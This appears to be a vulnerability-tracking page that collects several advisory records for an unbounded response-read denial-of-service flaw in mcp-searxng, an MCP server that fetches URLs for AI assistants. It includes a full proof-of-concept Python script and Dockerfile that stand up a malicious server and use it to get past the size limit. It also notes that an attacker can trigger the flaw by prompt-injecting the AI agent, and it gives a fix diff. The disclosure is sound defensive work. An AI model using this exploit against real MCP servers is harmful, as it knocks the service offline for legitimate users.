mcp-searxng: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.

Source published

15 Sep 2026 17:48:16 UTC

Source modified

15 Sep 2026 18:25:34 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.

Source published

Sep 15, 2026, 5:48:16 PM (timezone not stated)

Source modified

Sep 15, 2026, 6:25:34 PM (timezone not stated)

Observed here

11 Nov 2026 15:00:41 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.

Source published

15 Sep 2026 18:17:25 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 14:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read` ### Summary The `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` — a standard HTTP practice — `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service. ### Details `web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`. **Size-limit check (bypassed)** ```ts // src/url-reader.ts:352-360 const contentLength = await checkContentLength(...); if (contentLength !== null && contentLength > maxContentLengthBytes) { return createContentTooLargeMessage(contentLength, maxContentLengthBytes); } ``` `checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling. **Unbounded sinks** A full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap: ```ts // src/url-reader.ts:414 — normal response path htmlContent = await response.text(); // src/url-reader.ts:402 — error response path (same issue) responseBody = await response.text(); ``` The full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size. **Default exposure** `web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL. ### PoC **Prerequisites** - Docker installed. - Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`). **Build the image** ```bash docker build \ -t vuln002-test \ -f vuln-002/Dockerfile \ reports/npmAI_249_ihor-sokoliuk__mcp-searxng/ ``` **Run the PoC** ```bash docker run --rm vuln002-test ``` The container starts two processes: 1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**. 2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction). The PoC script initializes an MCP session and calls: ```json { "method": "tools/call", "params": { "name": "web_url_read", "arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 } } } ``` **Observed output (Phase 2 confirmation)** ``` HEAD_REQUESTS : 1 GET_REQUESTS : 1 GET_BYTES_SENT : 6,291,456 CONFIGURED_DEFAULT_LIMIT : 5,242,880 BYTES_OVER_LIMIT : +1,048,576 ELAPSED_SEC : 0.17 TOOL_STATUS : SUCCESS RETURNED_LENGTH_CHARS : 1 [PASS] VULNERABILITY CONFIRMED 6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit. Root cause confirmed: 1. HEAD response had no Content-Length header. 2. checkContentLength() returned null (url-reader.ts:243-245) 3. Guard condition was false (null !== null => false) (url-reader.ts:359) 4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414) ``` **Remediation** Replace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`: ```diff +async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise<string | null> { + if (!response.body) return response.text(); + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + const chunks: string[] = []; + let total = 0; + while (true) { + const { done, value } = await reader.read(); + if (done) break; + total += value.byteLength; + if (total > maxBytes) { await reader.cancel(); return null; } + chunks.push(decoder.decode(value, { stream: true })); + } + chunks.push(decoder.decode()); + return chunks.join(""); +} - responseBody = await response.text(); + responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes) + ?? "[Response body exceeded configured size limit]"; - htmlContent = await response.text(); + const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes); + if (limitedBody === null) { + return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes); + } + htmlContent = limitedBody; ``` ### Impact This is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:20-slim # Install Python3 for the PoC script RUN apt-get update && apt-get install -y --no-install-recommends python3 \ && rm -rf /var/lib/apt/lists/* # Copy repository source and build the vulnerable mcp-searxng # Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/) WORKDIR /app COPY repo/ /app/ RUN npm ci && npm run build # Copy the PoC script COPY vuln-002/poc.py /poc.py # Run the dynamic reproduction PoC CMD ["python3", "-u", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400) Affected: ihor-sokoliuk/mcp-searxng v1.6.0 File: src/url-reader.ts:414 (response.text()) CWE: CWE-400 Uncontrolled Resource Consumption CVSS: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Root cause: checkContentLength() at src/url-reader.ts:243-245 returns null when the server sends no Content-Length header. The guard at line 359: if (contentLength !== null && contentLength > maxContentLengthBytes) evaluates to false (null !== null => false), so the check is skipped. response.text() at line 414 then reads the full body without any byte cap. Reproduction: 1. Malicious HTTP server (this process, port 9799): HEAD => 200, Content-Type only, NO Content-Length GET => 200, 6+ MiB HTML body, NO Content-Length 2. mcp-searxng (subprocess, HTTP mode, port 3000): MCP_HTTP_ALLOW_PRIVATE_URLS=true -- allows 127.x for local PoC 3. This script initializes an MCP session, calls web_url_read pointing at the malicious server, and measures actual bytes transmitted. Expected evidence: GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880) => The 5 MiB guard was bypassed; full body was consumed without a cap. """ import json import os import socket import subprocess import sys import threading import time import urllib.error import urllib.request from http.server import BaseHTTPRequestHandler, HTTPServer # --------------------------------------------------------------------------- # Constants # --------------------------------------------------------------------------- DEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024 # 5 MiB (same as src/url-reader.ts) BODY_SIZE_BYTES = 6 * 1024 * 1024 # 6 MiB — exceeds the configured limit EVIL_PORT = 9799 MCP_PORT = 3000 # --------------------------------------------------------------------------- # Shared state — updated by the malicious server thread # --------------------------------------------------------------------------- g_bytes_sent = 0 g_head_count = 0 g_get_count = 0 # --------------------------------------------------------------------------- # Malicious HTTP server # --------------------------------------------------------------------------- class MaliciousHandler(BaseHTTPRequestHandler): """ Simulates an attacker-controlled HTTP server that: - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength) - Returns 200 for GET with a 6 MiB body and NO Content-Length (triggers unbounded response.text() read) """ # Use HTTP/1.0 so the connection closes after the body — no Content-Length needed. protocol_version = "HTTP/1.0" def log_message(self, fmt, *args): # suppress default per-request logging pass def do_HEAD(self): global g_head_count g_head_count += 1 print( f"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}" " — responding 200 with NO Content-Length (triggers null in checkContentLength)", flush=True, ) self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") # Deliberately omitting Content-Length — this is the bypass trigger self.end_headers() def do_GET(self): global g_get_count, g_bytes_sent g_get_count += 1 print( f"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}" f" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length", flush=True, ) self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") # Deliberately NO Content-Length header self.end_headers() # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH. # Simple structure keeps NodeHtmlMarkdown conversion fast. header = b"<html><body><pre>" footer = b"</pre></body></html>" payload_char = b"A" target = BODY_SIZE_BYTES - len(header) - len(footer) chunk_size = 65536 # 64 KiB chunks total = 0 try: self.wfile.write(header) total += len(header) while total < BODY_SIZE_BYTES - len(footer): chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total) self.wfile.write(chunk) total += len(chunk) self.wfile.write(footer) total += len(footer) except (BrokenPipeError, OSError): pass # client may close early on abort g_bytes_sent = total print(f"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}", flush=True) def run_evil_server(): srv = HTTPServer(("127.0.0.1", EVIL_PORT), MaliciousHandler) srv.serve_forever() # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def wait_for_port(host: str, port: int, timeout: float = 30) -> bool: deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: with socket.create_connection((host, port), timeout=1): return True except (ConnectionRefusedError, OSError): time.sleep(0.3) return False def http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]: """POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).""" headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if session_id: headers["mcp-session-id"] = session_id data = json.dumps(payload).encode() req = urllib.request.Request(url, data=data, headers=headers, method="POST") with urllib.request.urlopen(req, timeout=timeout) as resp: body = resp.read() ct = resp.headers.get("content-type", "") sid = resp.headers.get("mcp-session-id") return body, ct, sid def parse_mcp_response(body: bytes, content_type: str) -> dict | None: """Parse a JSON or SSE-wrapped JSON-RPC response.""" if "text/event-stream" in content_type: for line in body.decode(errors="replace").splitlines(): if line.startswith("data: "): try: return json.loads(line[6:]) except json.JSONDecodeError: continue return None try: return json.loads(body) except json.JSONDecodeError: # Fallback: try SSE even if content-type says JSON for line in body.decode(errors="replace").splitlines(): if line.startswith("data: "): try: return json.loads(line[6:]) except json.JSONDecodeError: continue return None # --------------------------------------------------------------------------- # Main PoC # --------------------------------------------------------------------------- def main(): print("=" * 72, flush=True) print("VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit", flush=True) print("=" * 72, flush=True) print(f" DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True) print(f" EVIL_BODY_SIZE_BYTES : {BODY_SIZE_BYTES:,}", flush=True) print(f" BYTES_OVER_LIMIT : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True) print(flush=True) # ------------------------------------------------------------------ # Step 1: Start the malicious HTTP server # ------------------------------------------------------------------ print(f"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...", flush=True) evil_thread = threading.Thread(target=run_evil_server, daemon=True) evil_thread.start() if not wait_for_port("127.0.0.1", EVIL_PORT, timeout=5): print("[ERROR] Malicious server failed to start within 5 s", flush=True) sys.exit(1) print("[+] Malicious server ready", flush=True) # ------------------------------------------------------------------ # Step 2: Start mcp-searxng in HTTP mode # ------------------------------------------------------------------ print(f"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...", flush=True) env = { **os.environ, "MCP_HTTP_PORT" : str(MCP_PORT), "MCP_HTTP_HOST" : "127.0.0.1", "SEARXNG_URL" : "http://127.0.0.1:8080", # not used in this test # Allow 127.x URLs so the PoC can point at the local malicious server. # (Real attacks target public servers — this env var enables local reproduction.) "MCP_HTTP_ALLOW_PRIVATE_URLS": "true", "NODE_ENV" : "production", } proc = subprocess.Popen( ["node", "/app/dist/cli.js"], env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, ) def stream_server_logs(): for line in proc.stdout: print(f"[MCP-SERVER] {line.decode(errors='replace').rstrip()}", flush=True) log_thread = threading.Thread(target=stream_server_logs, daemon=True) log_thread.start() if not wait_for_port("127.0.0.1", MCP_PORT, timeout=20): print("[ERROR] mcp-searxng HTTP server failed to start within 20 s", flush=True) proc.terminate() sys.exit(1) print("[+] mcp-searxng HTTP server ready", flush=True) mcp_url = f"http://127.0.0.1:{MCP_PORT}/mcp" # ------------------------------------------------------------------ # Step 3: Initialize MCP session # ------------------------------------------------------------------ print("[*] Initializing MCP session ...", flush=True) init_body, init_ct, session_id = http_post( mcp_url, payload={ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln002-poc", "version": "1.0"}, }, }, ) init_resp = parse_mcp_response(init_body, init_ct) if not init_resp or "result" not in init_resp: print(f"[ERROR] initialize failed: {init_body[:400]}", flush=True) proc.terminate() sys.exit(1) print(f"[+] Session initialized. session_id={session_id}", flush=True) # Send notifications/initialized (no response expected — ignore errors) try: http_post( mcp_url, session_id=session_id, payload={"jsonrpc": "2.0", "method": "notifications/initialized"}, timeout=10, ) except Exception: pass # 202 with empty body or similar non-error responses # ------------------------------------------------------------------ # Step 4: Call web_url_read pointing at the malicious server # ------------------------------------------------------------------ evil_url = f"http://127.0.0.1:{EVIL_PORT}/" print(flush=True) print(f"[*] Calling web_url_read with URL: {evil_url}", flush=True) print(f" HEAD response will have NO Content-Length", flush=True) print(f" => checkContentLength() returns null", flush=True) print(f" => guard at url-reader.ts:359 is bypassed", flush=True) print(f" => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes", flush=True) t_start = time.monotonic() try: tool_body, tool_ct, _ = http_post( mcp_url, session_id=session_id, payload={ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "web_url_read", "arguments": {"url": evil_url, "maxLength": 1}, }, }, timeout=120, ) elapsed = time.monotonic() - t_start tool_resp = parse_mcp_response(tool_body, tool_ct) except urllib.error.HTTPError as e: elapsed = time.monotonic() - t_start tool_resp = parse_mcp_response(e.read(), e.headers.get("content-type", "")) except Exception as e: elapsed = time.monotonic() - t_start print(f"[WARN] tool call exception: {e}", flush=True) tool_resp = None # Give the evil server thread a moment to flush its final log time.sleep(0.5) # ------------------------------------------------------------------ # Step 5: Collect and report evidence # ------------------------------------------------------------------ print(flush=True) print("=" * 72, flush=True) print("[EVIDENCE]", flush=True) print(f" HEAD_REQUESTS : {g_head_count}", flush=True) print(f" GET_REQUESTS : {g_get_count}", flush=True) print(f" GET_BYTES_SENT : {g_bytes_sent:,}", flush=True) print(f" CONFIGURED_DEFAULT_LIMIT : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True) print( f" BYTES_OVER_LIMIT : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}", flush=True, ) print(f" ELAPSED_SEC : {elapsed:.2f}", flush=True) if tool_resp: if "error" in tool_resp: err = tool_resp["error"] print( f" TOOL_STATUS : ERROR code={err.get('code')} " f"msg={str(err.get('message', ''))[:120]}", flush=True, ) elif "result" in tool_resp: content = tool_resp["result"].get("content", []) text = content[0].get("text", "") if content else "" print(f" TOOL_STATUS : SUCCESS", flush=True) print(f" RETURNED_LENGTH_CHARS : {len(text)}", flush=True) print(f" RETURNED_EXCERPT : {repr(text[:80])}", flush=True) else: print(f" TOOL_STATUS : (raw) {tool_body[:200] if tool_body else b'<no body>'}", flush=True) print("=" * 72, flush=True) # ------------------------------------------------------------------ # Verdict # ------------------------------------------------------------------ bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH if bypass_confirmed: print(flush=True) print("[PASS] VULNERABILITY CONFIRMED", flush=True) print( f" {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a " f"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.", flush=True, ) print(f" Root cause confirmed:", flush=True) print(f" 1. HEAD response had no Content-Length header.", flush=True) print(f" 2. checkContentLength() returned null (url-reader.ts:243-245)", flush=True) print(f" 3. Guard condition was false (null !== null => false) (url-reader.ts:359)", flush=True) print(f" 4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)", flush=True) proc.terminate() sys.exit(0) else: print(flush=True) if g_get_count == 0: print("[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server", flush=True) else: print( f"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} <= limit={DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True, ) proc.terminate() sys.exit(1) if __name__ == "__main__": main() ```

Source published

19 Jun 2026 21:42:43 UTC

Source modified

16 Sep 2026 03:56:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH